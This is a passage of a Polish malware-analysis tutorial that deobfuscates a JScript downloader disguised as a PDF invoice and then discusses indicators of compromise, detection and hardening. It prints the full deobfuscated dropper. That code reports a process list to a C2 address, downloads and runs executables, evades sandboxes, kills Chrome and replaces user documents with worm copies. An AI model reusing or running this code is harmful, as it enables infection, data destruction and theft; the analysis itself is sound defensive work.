  • https://jsfiddle.net/ – to narzędzie posłuży nam do “upewniania się”, że dobrze rozumiemy analizowany kod. Możemy w nim zasymulować działanie fragmentu niechcianego oprogramowania w interpreterze JavaScript.
Zamiana ship33 na String[“fromCharCode”]

W tym przykładzie widzimy, że narzędzie użyte do zaciemnienia kodu stworzyło sobie zmienną ship33 z przypisaną funkcją String[“fromCharCode”] i używa zmiennej ship33 wszędzie tam gdzie potrzebuje zastosować tę funkcję.

	
fgrep ship33 PDF-Faktura-037772_js.txt |wc -l -   2449
	
ship33 = String["fromC" + "harCode"]; 

Korzystając z notepadqq lub narzedzia sed zamieńmy wszystkie wystąpienia funkcji shipp na jej odpowiednik JavaScript String[“fromCharCode”]. Krok może banalny, ale lepiej będzie się konstruowało wyrażenie regularne.

sed s/"ship33"/"String[\"fromCharCode\"]"/g
Zdejmowanie zaciemnionych danych

Przeglądając plik złośliwego oprogramowania zauważamy, że mamy “mnogość funkcji”:

	
	(function nonameover54() { v1967open30t = 'undefined'; v1967investigate45t = 'undefined'; over54 = 118; return String["fromCharCode"](over54 - ulrich(1, 'over54', arguments)); })('added45', 'from20')

1.Sprawdźmy, co ona robi:

Uruchamiając ten fragment kodu widzimy, iż służy on wyłącznie wygenerowaniu jednego znaku ASCII, w tym wypadku literki „t”

 2. Konstrukcja wyrażenia regularnego

Wyrażenie regularne “łapiące tę funkcję” wygląda następująco.

	
(\(function\s[a-zA-Z\d]+\(\)[\r\n\s\t]+\{[\r\n\s\t]+[\w\s\=\,\'\;\{\}\(\)\r\n\:A-Z\[\]]+return[\r\n\s\t]*String\[\"fromCharCode\"\]\([A-Za-z\d]+\s\-\sulrich\(1\,\s\'[a-zA-Z\d]+\'\,\sarguments\)\)\;[\r\n\s\t]+\}\)\([\'a-zA-Z\d\'\,\s]+\))

Oczywiście można to upraszczać, przyśpieszać, ale pamiętajmy, że “czas to pieniądz”. Naszym celem jest skuteczne dopasowanie wyrażenia regularnego.

Teraz wiemy dwie rzeczy. Po pierwsze, analizowana funkcja zwraca jeden znak i mamy wyrażenie regularne, które dopasowuje nam się do tej funkcji. Skonfigurujmy więc translate.py i uzyskujmy literki zamiast tych funkcji.

	
import re
import js2py
import codecs
import jsbeautifier
import array
import base64
import sys  

reload(sys)  
sys.setdefaultencoding('utf8')

def Detonation2(oMatch):
	context = js2py.EvalJs({'python_sum': sum})  
	str1='function ulrich(t, y, u)\r\n{\r\n\treturn u[\'len\' + \'gth\'];\r\n};var b='+oMatch.group(1)+'; \nvar a=(b);'
	context.execute(str1)
	return '\"'+str(context.a)+'\"'

def UnicodeExcape(oMatch):
	c=oMatch.group(1)
	c=re.sub(r"[\s\t\n]",'',c)
	c=c.decode('unicode-escape')
	return c

def Decode(data):
		d=data
		d=re.sub(r"(\(function\s[a-zA-Z\d]+\(\)[\r\n\s\t]+\{[\r\n\s\t]+[\w\s\=\,\'\;\{\}\(\)\r\n\:A-Z\[\]]+return[\r\n\s\t]+String\[\"fromCharCode\"\]\([A-Za-z\d]+\s\-\sulrich\(1\,\s\'[a-zA-Z\d]+\'\,\sarguments\)\)\;[\r\n\s\t]+\}\)\([\'a-zA-Z\d\'\,\s]+\))",Detonation2,d)
		d=re.sub(r"\"\s\+\s\"","",d)
		d=re.sub(r"([a-z]{3,10})\s*\\\s*u([\da-f]+)","\\1 \\u\\2",d,flags=re.MULTILINE)
		d=re.sub(r"\\[\s\r\t\n]+(u[\da-f]{4})","\\\\\\1",d)
		d=re.sub(r"(\\u[\da-f]{4})", UnicodeExcape, d)

		
		return d

Funkcja Detonaton2 zinterpretuje nam fragment języka JavaScript, który podstawi się pod to wyrażenie regularne na danych d.

Przejdźmy do omówienia teraz funkcji Detonation2. Ma ona jeden argument oMatch, który jest tym, co dopasowało się do wyrażenia regularnego. Wykorzystując komponent EvalJs uruchamiamy dopasowany tekst w interpreterze JavaScript. Przed uruchomieniem musimy jeszcze dodać do tego tekstu funkcję “ulrich”, która też jest wykorzystywana w całym kodzie i powiedzieć, że to, co dopasowało się do wyrażenia jest funkcją w języku JavaScript (var a=b()). Na końcu zwracamy zdetonowany tekst, jako string “opakowując” go cudzysłowami (zakładamy i przy okazji walidujemy zwracaną informację jako łańcuch znaków zawierający jedną literkę). To co uzyskujemy nadaje się już do wklejenia w ten artykuł.

	
var v1967family95t = false;
var v1967peace10 = v1967thedoctors13["S" + "c" + "r" + "i" + "p" + "t" + "F" + "u" + "l" + "l" + "N" + "a" + "m" + "e"];
var v1967frenzy36t = 'They47';
var\ u0047\ u0065\ u004f\ u0062\ u006a = this["G" + "e" + "t" + "O" + "b" + "j" + "e" + "c" + "t"];
var v1967What42t = 'undefined';
var v1967there93 = new v1967sister51("S" + "c" + "r" + "i" + "p" + "t" + "i" + "n" + "g" + "." + "F" + "i" + "l" + "e" + "S" + "y" + "s" + "t" + "e" + "m" + "O" + "b" + "j" + "e" + "c" + ...

Możemy już przeczytać rzeczy, które wcześniej były ukryte, ale łatwiej będzie, jeśli usuniemy sobie fragment “ + “.

Czyszczenie łańcuchów znaków typu „S” + „c” + „r” + „i” + „p” + „t” + „

Operację czyszczenia wykona za nas poniższa funkcja narzędzia transalte.py

		
d=re.sub(r"\"\s\+\s\"","",d) 

Usuwa ona podciągi cudzysłów, spacja, plus, spacja, cudzysłów z analizowanego tekstu. Wynik znajdziemy w poniższym kodzie:

	
	
var v1967there93 = new v1967sister51("Scripting.FileSystemObject");
var v1967ishard31t = {
	X: 75
	};
var v1967seemed82 = v1967thedoctors13["CreateObject"]("WScript.Shell");
var v1967Other95t = 'undefined';
var v1967pitifully86 = new v1967sister51("ADODB.Stream");
var v1967bed75t = null;
var v1967little22 = new v1967sister51("Shell.Application");
var v1967against41t = null;
var v1967what50 = new v1967sister51("Msxml2.ServerXMLHTTP");

Po zapoznaniu się z wynikiem widzimy już podobieństwa i wskaźniki infekcji wykryte w punkcie 3.1 w narzędziu SEKOIA

Dekodowanie tekstu unicode
	
u0065\ u0035\ u0036\ u0037\ u0038\ u0039 = new\ u0045\ u006e\ u006d\ u004e(\u0063\ u006f\ u006c\ u0044\ u0072\ u0069\ u0076\ u0065\ u0073);
for (; !\u0065\ u0035\ u0036\ u0037\ u0038\ u0039["atEnd"]();\ u0065\ u0035\ u0036\ u0037\ u0038\ u0039["moveNext"]())


Konwertujemy niezgodny składniowo string do postaci: identyfikator, spacja, znak u, kod szesnastkowy

		
d=re.sub(r"([a-z]{3,10})\s*\\\s*u([\da-f]+)","\\1 \\u\\2",d,flags=re.MULTILINE)

Usunięcie zbędnych spacji, tabulacji, nowych linii z unicode

			
d=re.sub(r"\\[\s\r\t\n]+(u[\da-f]{4})","\n\\\\\\1",d)

Zamiana unicode na łańcuch znaków

	
def UnicodeExcape(oMatch):
	c=oMatch.group(1)
	c=re.sub(r"[\s\t\n]",'',c)
	c=c.decode('unicode-escape')
	return c
	
	
	d=re.sub(r"(\\u[\da-f]{4})", UnicodeExcape, d)

Należy jeszcze uściślić, po co przestępcy wprowadzają błędy składniowe w unicode. Kod JavaScript został napisany dla interpretera wscript/cscript. Akurat ten interpreter radzi sobie z takimi błędami składniowymi i koryguje brak spacji po słowie new. Zabieg użyty przez przestępców jest niskiego lotu, ale skutecznym sposobem walidacji uruchomienia swojego narzędzia w środowisku, w którym ma być ono uruchomione.

Po wykonaniu tych wszystkich kroków otrzymujemy kod downloadera napisanego w JavaScript bez zaciemnienia:

		v1967arms35t = false;
v1967muffled34t = true;
String["fromCharCode"] = String["fromCharCode"];

function ulrich(t, y, u) {
	return u['len' + 'gth'];
};
v1967might46t = false;
v1967difficulty8t = false;
v1967open69t = false;
v1967just23t = true;
v1967word39t = false;
v1967sleepiness60t = true;
v1967force8t = false;
v1967back25t = true;
v1967inbed39t = true;
v1967thewisdom63t = true;
v1967chose72t = false;
var v1967spots79t = 'undefined';
var EnmN = this["Enumerator"];
var v1967remained89t = [415, 14];
var v1967sister51 = this["ActiveXObject"];
var v1967armtowards4t = 'grandsons7';
var v1967thedoctors13 = this["WScript"];
var v1967family95t = false;
var v1967peace10 = v1967thedoctors13["ScriptFullName"];
var v1967frenzy36t = 'They47';
var GeObj = this["GetObject"];
var v1967What42t = 'undefined';
var v1967there93 = new v1967sister51("Scripting.FileSystemObject");
var v1967ishard31t = {
	X: 75
};
var v1967seemed82 = v1967thedoctors13["CreateObject"]("WScript.Shell");
var v1967Other95t = 'undefined';
var v1967pitifully86 = new v1967sister51("ADODB.Stream");
var v1967bed75t = null;
var v1967little22 = new v1967sister51("Shell.Application");
var v1967against41t = null;
var v1967what50 = new v1967sister51("Msxml2.ServerXMLHTTP");
var v1967force8t = 'Indians38';
var v1967tohis29 = String["fromCharCode"](92);
var v1967hardly95t = 'childrenIn85';
var user12 = v1967seemed82["ExpandEnvironmentStrings"]("%USERPROFILE%");
var v1967beenearlier10t = 0.581;
var charq = String["fromCharCode"](34);
var v1967said73t = {
	Z: 85
};
var temp12 = v1967seemed82["ExpandEnvironmentStrings"]("%TEMP%");
var v1967would52t = 'undefined';
var v1967annoyed62 = Math["floor"]((Math["random"]() * (639)) + 1);
var v1967than32t = true;
var startupFolder = v1967little22["NameSpace"](7);
var v1967from71t = 'undefined';
var v1967heard32 = v1967tohis29 + "fb.jse";
var v1967doors29t = {
	V: 77
};
var URL_KEY = "&add=2097d7b063d6f8b5cc803abf3df758aa";
var v1967from75t = [42, 448];
var v1967thelittle22 = "https://185.130.104.235/1/net500.php";
var v1967than54t = 'thirst29';
var v1967other58 = '?v1967other58=new';
var v1967puttinglong22t = [498, 546];
var v1967that9 = v1967thelittle22 + v1967other58;
var v1967case12t = [67, 54];
var v1967although91 = true;
var v1967forwards27t = 0.416;
var SET_AUTOLOAD = true;
var v1967travelling36t = null;
var SET_WORM_MODE = true;
var v1967bed75t = null;
var v1967Youve25 = '';
var v1967against41t = null;
var v1967another22 = false;
var v1967force8t = 'Indians38';
var v1967salesmen26 = '';
var v1967hardly95t = 'childrenIn85';
var tone789 = 1;
var v1967beenearlier10t = 0.581;
var report9 = 0;
var v1967said73t = {
	Z: 85
};
var hashhere = 0;
var v1967would52t = 'undefined';
var v1967claim86 = 0;
var v1967than32t = true;
var exit123 = 0;
var v1967from71t = 'undefined';
var v1967through42 = 3;
var v1967doors29t = {
	V: 77
};
var one_time = false;
var v1967from75t = [42, 448];
var v1967could48 = null;
var v1967than54t = 'thirst29';
var v1967talking86 = null;
var v1967puttinglong22t = [498, 546];
var v1967Thetime17 = false;
var v1967case12t = [67, 54];
var v1967with46 = null;
var v1967forwards27t = 0.416;
var mz12 = "MZ";
var v1967travelling36t = null;
var method56 = "POST";
var v1967bed75t = null;
var v1967necessary14 = null;
var v1967against41t = null;
var v1967loud80 = null;
var v1967force8t = 'Indians38';
var v1967even47 = null;
var v1967hardly95t = 'childrenIn85';
var auto90989r = startupFolder["Self"]["Path"] + v1967heard32;
var v1967beenearlier10t = 0.581;
var uidhere = auto90989r + temp12;
var v1967said73t = {
	Z: 85
};
var delay123 = ("2070000") * 1;
var v1967would52t = 'undefined';
var v1967effort74 = "-f -decode ";
var v1967than32t = true;
var nod32sucks = ("4294967295") * 1;
var v1967from71t = 'undefined';
var v1967clock64 = null;
var v1967doors29t = {
	V: 77
};
var obj00WMI = null;
var v1967from75t = [42, 448];
var v1967would55 = hashhere;
var v1967than54t = 'thirst29';
var v1967despite70 = null;
var v1967puttinglong22t = [498, 546];
var v1967would85 = hashhere;
var v1967from75t = [42, 448];
var v1967would552 = null;
var v1967forwards27t = 0.416;
var processlist = '';
var v1967travelling36t = null;
var os456 = '';
var v1967bed75t = null;
var v1967last18 = '';
var v1967against41t = null;
var v1967door77 = '';
var v1967force8t = 'Indians38';
var v1967them88 = '';
var v1967hardly95t = 'childrenIn85';
var colDrives = v1967there93["Drives"];
var v1967beenearlier10t = 0.581;
var e56789 = null;
var v1967said73t = {
	Z: 85
};
var x76545 = null;
var v1967would52t = 'undefined';
var v1967resolve50 = "*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb *.wps *.xlk *.ppt *.mdb *.accdb *.pst *.dwg *.dxf *.dxg *.wpd";
var v1967than32t = true;
var diskcount = 1;
var v1967from71t = 'undefined';
var v1967were48 = "Lafamiliaestodo.txt";
var v1967doors29t = {
	V: 77
};
var pussy89 = null;
var v1967from75t = [42, 448];
var v1967when48 = null;
var v1967than54t = 'thirst29';
var v1967backtowards89 = -1;
var v1967puttinglong22t = [498, 546];
var v1967strenuous38 = 1;
var v1967case12t = [67, 54];
var v1967meas23 = 4;
var v1967forwards27t = 0.416;
var shit89 = 40;
var v1967travelling36t = null;
var sert90 = 7;
var v1967bed75t = null;
var v1967have20 = 16;
var v1967against41t = null;
var v1967balance53 = "Error";
var v1967force8t = 'Indians38';
var v1967forget95 = "The document provided as a PDF source was invalid.";
var v1967hardly95t = 'childrenIn85';
var g7899 = 0;
var v1967beenearlier10t = 0.581;
var sand9xx = false;
try {
	if (v1967peace10 != auto90989r) {
		v1967could48 = v1967there93["OpenTextFile"](v1967peace10, v1967strenuous38, false, 0);
		v1967when48 = v1967could48["ReadLine"]();
		v1967could48["Close"]();one_time = true;
		if (v1967although91) v1967seemed82["Popup"](v1967forget95, 10, v1967balance53, v1967have20);
		if (v1967there93["FileExists"](auto90989r)) {
			v1967thedoctors13["Quit"];
		}
	} else {}
} catch (voeaPLkmnB) {
	v1967seemed82["Popup"](v1967forget95, 5, v1967balance53, v1967have20);
}
while (v1967have20) {
	v1967forget95 = "low";tone789 = tone789 + 1;
	if (tone789 == delay123) {
		try {obj00WMI = GeObj("winmgmts:{impersonationLevel=impersonate}!" + v1967tohis29 + v1967tohis29 + "." + v1967tohis29 + "root" + v1967tohis29 + "cimv2");
			v1967would55 = new EnmN(obj00WMI["ExecQuery"]("Select * from Win32_Process"));
			v1967would552 = new EnmN(obj00WMI["ExecQuery"]("Select * from Win32_OperatingSystem"));
			while (!v1967would552["atEnd"]()) {
				if (g7899 == 5) break;os456 = os456 + v1967would552["item"]()["Caption"] + v1967would552["item"]()["Version"];g7899++;
				v1967would552["moveNext"]();
			}os456 = os456 + String["fromCharCode"](13) + String["fromCharCode"](10) + auto90989r;g7899 = 0;
			while (!v1967would55["atEnd"]()) {
				if (g7899 == 200) break;
				v1967despite70 = v1967would55["item"]();processlist = processlist + v1967despite70["Name"] + "*" + v1967despite70["ExecutablePath"] + String["fromCharCode"](13) + String["fromCharCode"](10);g7899++;
				v1967would55["moveNext"]();
			}
		} catch (voeaPLkmnB) {}
		try {uidhere = uidhere + os456;
			for (v1967claim86 = 0; v1967claim86 < uidhere["length"]; v1967claim86++) {hashhere = (((hashhere << (5)) - hashhere) + uidhere["charCodeAt"](v1967claim86)) & nod32sucks;
			}
			if (auto90989r["indexOf"](v1967tohis29 + "AppData" + v1967tohis29) == -1) {
				v1967claim86 = 10;
			} else {
				v1967claim86 = 20;
			}
		} catch (voeaPLkmnB) {hashhere = 999999;
		}processlist = os456 + String["fromCharCode"](13) + String["fromCharCode"](10) + processlist;
		if (processlist["length"] < 500 || processlist["indexOf"]("Procmon") != v1967backtowards89 || processlist["indexOf"]("Wireshark") != v1967backtowards89 || processlist["indexOf"]("Temp" + v1967tohis29 + "iexplore.exe") != v1967backtowards89 || processlist["indexOf"]("ProcessHacker") != v1967backtowards89 || processlist["indexOf"]("vmtoolsd") != v1967backtowards89 || processlist["indexOf"]("VBoxService") != v1967backtowards89 || processlist["indexOf"]("python") != v1967backtowards89 || processlist["indexOf"]("Proxifier.exe") != v1967backtowards89 || processlist["indexOf"]("Johnson") != v1967backtowards89 || processlist["indexOf"]("ImmunityDebugger.exe") != v1967backtowards89 || processlist["indexOf"]("lordPE.exe") != v1967backtowards89 || processlist["indexOf"]("ctfmon.exe*JOHN-PC") != v1967backtowards89 || processlist["indexOf"]("BehaviorDumper") != v1967backtowards89 || processlist["indexOf"]("anti-virus.EXE") != v1967backtowards89 || processlist["indexOf"]("AgentSimulator.exe") != v1967backtowards89 || processlist["indexOf"]("VzService.exe") != v1967backtowards89 || processlist["indexOf"]("VBoxTray.exe") != v1967backtowards89 || processlist["indexOf"]("VmRemoteGuest") != v1967backtowards89 || processlist["indexOf"]("SystemIT|admin") != v1967backtowards89 || processlist["indexOf"]("WIN7-TRAPS") != v1967backtowards89 || processlist["indexOf"]("Emily" + v1967tohis29 + "AppData") != v1967backtowards89 || processlist["indexOf"]("PROCMON") != v1967backtowards89 || processlist["indexOf"]("procexp") != v1967backtowards89 || processlist["indexOf"]("tcpdump") != v1967backtowards89 || processlist["indexOf"]("FrzState2k") != v1967backtowards89 || processlist["indexOf"]("DFLocker64") != v1967backtowards89 || processlist["indexOf"]("vmware") != v1967backtowards89) { pdfdoc["alert"]("No more half-measures."); v1967thedoctors13["Quit"];sand9xx = true; } try { if (one_time && SET_AUTOLOAD) { v1967talking86 = v1967there93["CreateTextFile"](auto90989r, true, false); v1967talking86["WriteLine"](v1967when48); v1967talking86["Close"](); } } catch (voeaPLkmnB) {} while (sert90) { try { v1967salesmen26 = temp12 + v1967tohis29 + Math["floor"]((Math["random"]() * (840)) + 1) + Math["floor"]((Math["random"]() * (712)) + 1) + ".exe"; v1967Youve25 = temp12 + v1967tohis29 + Math["floor"]((Math["random"]() * (888)) + 1) + Math["floor"]((Math["random"]() * (900)) + 1) + ".mtm"; v1967what50["setOption"](v1967through42, "MSXML"); v1967clock64 = v1967that9 + URL_KEY + "&u=" + Math["abs"](hashhere) + "&o=" + report9 + "&v=" + v1967claim86 + "&s=" + Math["floor"]((Math["random"]() * (998)) + 1) + Math["floor"]((Math["random"]() * (888)) + 1) + Math["floor"]((Math["random"]() * (590)) + 1); v1967what50["open"](method56, v1967clock64, false); v1967what50["send"](processlist); if (v1967what50["status"] == 200) { if (report9 == 0) { v1967with46 = v1967what50["responseText"]; try { if (v1967what50["getResponseHeader"]("I_am_the_danger") == '0') { v1967salesmen26 = auto90989r; v1967backtowards89 = 0; } } catch (voeaPLkmnB) {} try { if (v1967what50["getResponseHeader"]("I_am_the_danger") == "1") v1967backtowards89 = 1; } catch (voeaPLkmnB) {} try { if (v1967what50["getResponseHeader"]("I_am_the_danger") == "2") v1967backtowards89 = 2; } catch (voeaPLkmnB) {} try { if (v1967what50["getResponseHeader"]("Content-Transfer-Encoding") == "binary") { v1967pitifully86["Open"](); v1967pitifully86["Type"] = 1; v1967pitifully86["Write"](v1967what50["responseBody"]); v1967pitifully86["Position"] = 0; v1967pitifully86["SaveToFile"](v1967salesmen26, 2); v1967pitifully86["Close"](); } else { if (v1967with46.length > 10) {
									v1967could48 = v1967there93["CreateTextFile"](v1967Youve25, true, false);
									v1967could48["WriteLine"](v1967with46);
									v1967could48["Close"]();
									v1967thedoctors13["Sleep"](6000);
									v1967little22["ShellExecute"]("certutil", v1967effort74 + v1967Youve25 + " " + charq + v1967salesmen26 + charq, '', "open", 0);
								}
							}
						} catch (voeaPLkmnB) {}
					} else {report9 = 0;
						continue;
					}
					if (v1967backtowards89 == 0) {
						v1967thedoctors13["Sleep"](50000);
						v1967backtowards89 = -1;report9 = 9;
						continue;
					}
					v1967thedoctors13["Sleep"](25000);
					if (!v1967there93["FileExists"](v1967salesmen26) && SET_WORM_MODE) {
						try {e56789 = new EnmN(colDrives);
							for (; !e56789["atEnd"]();e56789["moveNext"]()) {x76545 = e56789["item"]();
								if ((x76545["IsReady"] && (x76545["DriveType"] == 3 || x76545["DriveType"] == 1)) && user12["substring"](0, 1) != x76545["DriveLetter"]) {
									v1967little22["ShellExecute"]("cmd", "/U /Q /C cd /D " + x76545["DriveLetter"] + ": && dir /b/s/x " + v1967resolve50 + ">>%TEMP%\\" + v1967were48, '', "open", 0);
									v1967thedoctors13["Sleep"](1000 * 60);
								}
							}
							v1967thedoctors13["Sleep"](1000 * 40);
							v1967even47 = v1967there93["GetFile"](temp12 + v1967tohis29 + v1967were48)["OpenAsTextStream"](1, -1);
							while (!v1967even47["AtEndOfStream"]) {
								v1967door77 = v1967even47["ReadLine"]();
								v1967them88 = v1967door77["substring"](0, v1967door77["indexOf"]("."));
								v1967little22["ShellExecute"]("cmd", "/U /Q /C copy /Y " + charq + auto90989r + charq + " " + charq + v1967them88 + ".jse" + charq + " && del /Q/F " + charq + v1967door77 + charq, '', "open", 0);
							}
							v1967even47["Close"]();
							v1967there93["DeleteFile"](temp12 + v1967tohis29 + v1967were48);
						} catch (voeaPLkmnB) {}report9 = 0;
						continue;
					}
					v1967loud80 = v1967there93["GetFile"](v1967salesmen26)["OpenAsTextStream"](1);
					v1967last18 = v1967loud80["ReadLine"]()["substring"](0, 2);
					v1967loud80["Close"]();
					if (v1967last18 == mz12 && report9 == 0) {
						try {
							switch (v1967backtowards89) {
								case -1:
									v1967little22["ShellExecute"]("cmd", String["fromCharCode"](shit89 + sert90) + "c start " + v1967salesmen26, '', "open", exit123);report9 = 45;
									break;
								case 0:
									v1967little22["ShellExecute"]("cmd", String["fromCharCode"](shit89 + sert90) + "c start " + v1967salesmen26, '', "open", exit123);report9 = 46;
									break;
								case 1:
									v1967little22["ShellExecute"]("rundll32", charq + v1967salesmen26 + charq + " secretFunction", '', "open", exit123);report9 = 47;
									break;
								case 2:
									v1967little22["ShellExecute"]("taskkill", "/f /t /im chrome.exe", '', "open", 0);
									v1967little22["ShellExecute"](v1967salesmen26, "/silent /install", '', "runas", 1);report9 = 48;
									break;
							}
						} catch (voeaPLkmnB) {report9 = 8888;
						}
						v1967thedoctors13["Sleep"](11000);
					}
				}
			} catch (voeaPLkmnB) {}
			v1967thedoctors13["Sleep"](70000);
		};
	};
};
v1967hardly95t = 0.96;
v1967there14t = 0.581;
v1967although19t = 0.185;
v1967only8t = 0.949;
v1967noticeable76t = 0.281;
v1967well48t = 0.831;

Dodatkowe wskaźniki infekcji pozyskane z metody półautomatycznej

  1. Adres URL wraz z jego parametrami. Złośliwe oprogramowanie raportuje pod ten adres kolejne etapy swojego przetwarzania oraz pobiera z niego docelowe niechciane oprogramowanie, które instaluje na stacji docelowej użytkownika.
    		
    	var v1967that9 = "https://185.130.104.235/1/net500.php?v1967other58=new&add=2097d7b063d6f8b5cc803abf3df758aa&u=0&o=0&v=0&s=1168
    
  2. Sprawdzenie środowiska pracy, w którym uruchamiany jest złośliwy kod. Widzimy, że skrypt poszukuje:
    1. specyficznego oprogramowania używanego przez osoby analizujące złośliwe oprogramowanie np. lordPE.exe, ImmunityDebuger.exe
    2. identyfikacji środowiska wirtualnego np. VBoxService, VBoxTray.exe, vmware
    3. użytkownika systemu Winidows o nazwie Emily. Prawdopodobnie któryś z sandboksów ma standardowy obraz Windowsa z takim użytkownikiem
    4. długość spisu procesów zamieniona do jednego łańcucha znaków jest dłuższa niż 500 znaków – prawdopodobnie złośliwe oprogramowanie w ten sposób chce wykluczyć obrazy sandboksowe zrealizowane na systemie operacyjnym, którego użytkownik nie używa do standardowej pracy.

    W przypadku wykrycia niekorzystnego środowiska pracy widzimy wywołanie niezdefiniowanej funkcji pdfdoc[„alert”], które jak się przekonaliśmy w rozdziale „SEKOIA DROPPER ANALYSIS” przerywa działanie interpretera box-js.

    	
    		if (processlist["length"] < 500 || processlist["indexOf"]("Procmon") != v1967backtowards89 || processlist["indexOf"]("Wireshark") != v1967backtowards89 || processlist["indexOf"]("Temp" + v1967tohis29 + "iexplore.exe") != v1967backtowards89 || processlist["indexOf"]("ProcessHacker") != v1967backtowards89 || processlist["indexOf"]("vmtoolsd") != v1967backtowards89 || processlist["indexOf"]("VBoxService") != v1967backtowards89 || processlist["indexOf"]("python") != v1967backtowards89 || processlist["indexOf"]("Proxifier.exe") != v1967backtowards89 || processlist["indexOf"]("Johnson") != v1967backtowards89 || processlist["indexOf"]("ImmunityDebugger.exe") != v1967backtowards89 || processlist["indexOf"]("lordPE.exe") != v1967backtowards89 || processlist["indexOf"]("ctfmon.exe*JOHN-PC") != v1967backtowards89 || processlist["indexOf"]("BehaviorDumper") != v1967backtowards89 || processlist["indexOf"]("anti-virus.EXE") != v1967backtowards89 || processlist["indexOf"]("AgentSimulator.exe") != v1967backtowards89 || processlist["indexOf"]("VzService.exe") != v1967backtowards89 || processlist["indexOf"]("VBoxTray.exe") != v1967backtowards89 || processlist["indexOf"]("VmRemoteGuest") != v1967backtowards89 || processlist["indexOf"]("SystemIT|admin") != v1967backtowards89 || processlist["indexOf"]("WIN7-TRAPS") != v1967backtowards89 || processlist["indexOf"]("Emily" + v1967tohis29 + "AppData") != v1967backtowards89 || processlist["indexOf"]("PROCMON") != v1967backtowards89 || processlist["indexOf"]("procexp") != v1967backtowards89 || processlist["indexOf"]("tcpdump") != v1967backtowards89 || processlist["indexOf"]("FrzState2k") != v1967backtowards89 || processlist["indexOf"]("DFLocker64") != v1967backtowards89 || processlist["indexOf"]("vmware") != v1967backtowards89) {
    			pdfdoc["alert"]("No more half-measures.");
    			v1967thedoctors13["Quit"];sand9xx = true;
    		}
    
  3. Złośliwe oprogramowanie zamyka przeglądarkę Google Chrome klienta oraz wszystike jej potomne instancje w systemie operacyjnym
    	
    “taskkill", "/f /t /im chrome.exe
    

Wnioski

Jak widzimy downloader pobiera i sprawdza czy ma odpowiednio długi łańcuch znaków z informacji zwracanej na podstawie listy procesów w systemie Windows. Sandboksy z racji swojej logiki z reguły mają obrazy systemów operacyjnych, na których nie pracuje użytkownik, a sam obraz jest niszczony po detonacji próbki. W takim systemie operacyjnym ten łańcuch znaków będzie krótszy, niż przy normalnym użytkowaniu takiego systemu operacyjnego. Oczywiście takie obrazy i konfigurację sandboksa można poprawić, ale jak widać przestępcy dokładnie znają te narzędzia i przewidują takie działania. Widzimy sprawdzenie czy na tym systemie nie ma procesów pythona, VirtualBoxa, VMWare itp. Widzimy też, że niechciane oprogramowanie zamyka użytkownikowi po cichu przeglądarkę Chrome. Pozyskaliśmy również adres URL, z którego ściągane jest docelowe niechciane oprogramowanie. Adres ten służy również do raportowania etapu pracy downloadera znajdującego się u użytkownika. Analiza półautomatyczna ma jeszcze jedną zaletę, w przeciwieństwie do sandboksa. Operator droppera nie wie, że jego oprogramowanie zostało zanalizowane. Sandboksy uruchmiają próbki złośliwego oprogramowania, co oznacza również próbę połączenia z operatorem złośliwego oprogramowania. Niektóre sandboksy mogą używać do połączenia sieciowego sieci TOR lub posiadają kilka klas adresów IP. Przestępcy mogą jednak monitorować tę komunikację i wiedzieć na jakim etapie jest ich kampania lub odcinać analityków w komunikacji uniemożliwiając im pozyskanie próbki docelowej.

Wykrywanie niechcianego oprogramowania dzięki wskaźnikom infekcji

Wykorzystując liczne narzędzia analityczne, takie jak HIDS, SYSMON, osquery, SIEM i analiza logów ze stacji końcowych, możemy wykrywać symptomy downloadera/droppera (i to nie tylko po adresach IP czy też domenie). W tym opracowaniu nie będę opisywał tego procesu, ale osoby z działów bezpieczeństwa, które zapoznają się z wymienionymi wyżej narzędziami z pewnością będą potrafiły dokonać skutecznego wdrożenia detekcji bazującej na wymienionych narzędziach.

Blokowanie niechcianego oprogramowania dzięki wskaźnikom infekcji

Po wykryciu niechcianego oprogramowania możemy jako obrońcy podjąć decyzję o blokowaniu downloadera/droppera (ta decyzja również powinna być przedmiotem analizy ryzyka), z uwagi na dwa aspekty:

  1. Będzie trzeba przeprowadzić utwardzanie stacji użytkownika pod względem bezpieczeństwa. Ilość tych operacji jak i końcowy rezultat może wprowadzić przerwę w działaniu procesów w organizacji. Zapewne ważne też będzie szkolenie użytkownika końcowego, aby wiedział jak się zachować w przypadku takiego komunikatu:
  2. Można próbować zatrzymywać downloader już w kampanii, ale wymaga to postawienia prawdopodobnie odpowiednich urządzeń sieciowych i zapewne implementacji tego zadania po ICAPie. Implementacja taka prawdopodobnie wymagała będzie również zaawansowanej analityki prowadzonej w zespole bezpieczeństwa.

Prewencja i utwardzanie stacji pod względem bezpieczeństwa.

Szersza wiedza na temat dropperów i downloaderów daje nam szersze pole manewru w prewencji. A prewencja ma dwa filary:

  1. Edukacja użytkownika, ale często też administratora. Zarówno użytkownik jak i administrator jako pierwsi będą widzieć skutki takiego niechcianego oprogramowania, a w przypadku skutecznego utwardzenia infrastruktury pod względem ochrony będą również dostawali komunikaty z takiej detekcji. Uświadamiając odpowiednio te działy osiągniemy prewencję, ale co ważniejsze bardzo często powiadomią nas również o nowym zagrożeniu, skutkującym niestandardowym zachowaniem stacji końcowej
  2. Utwardzanie stacji pod względem bezpieczeństwa.Jest wiele narzędzi wspierających i poradników z tym związanych. Przykładem nich będą wytyczne CIS. Dodatkowo można rozważyć utwardzenie z wykorzystaniem narzędzi:
    1. wyłączenie wscript/cscript na stacji końcowej
    2. instalacja oprogramowania EMET
    3. utwardzanie pakietu MS Office pod względem bezpieczeństwa
    4. file screening

    To tylko pierwsze kroki techniczne. Przestępcy nie próżnują i wymyślają nowe, skuteczne sztuczki np. PowerPoint, który miał złośliwy kod JavaScript uruchamiany przez najechanie myszą na element strony w tym pakiecie. W krokach utwardzania nie poprzestajemy więc wyłącznie na etapie technologicznym. Rozmowa trójstronna: bezpiecznik, administrator, biznes często skutkuje wypracowaniem najtańszych i najskuteczniejszych rozwiązań.

  3. W ostatnim czasie pojawiło się też narzędzie hardentools dla Windowsa. Stosowanie takich narzędzi nie zwalnia decydentów od analizy ryzyka i całości zagrożenia.

Dzielenie się wskaźnikami infekcji ze społecznością analityków i próby poznania aktorów

Skoro jesteśmy już analitykami złośliwego oprogramowania to warto podzielić się zdobytą wiedzą z szerszymi organizacjami z wykorzystaniem takich narzędzi jak MISP (Malware Information Sharing Platform and Threat Sharing).

Cele wymiany informacji są dwa:

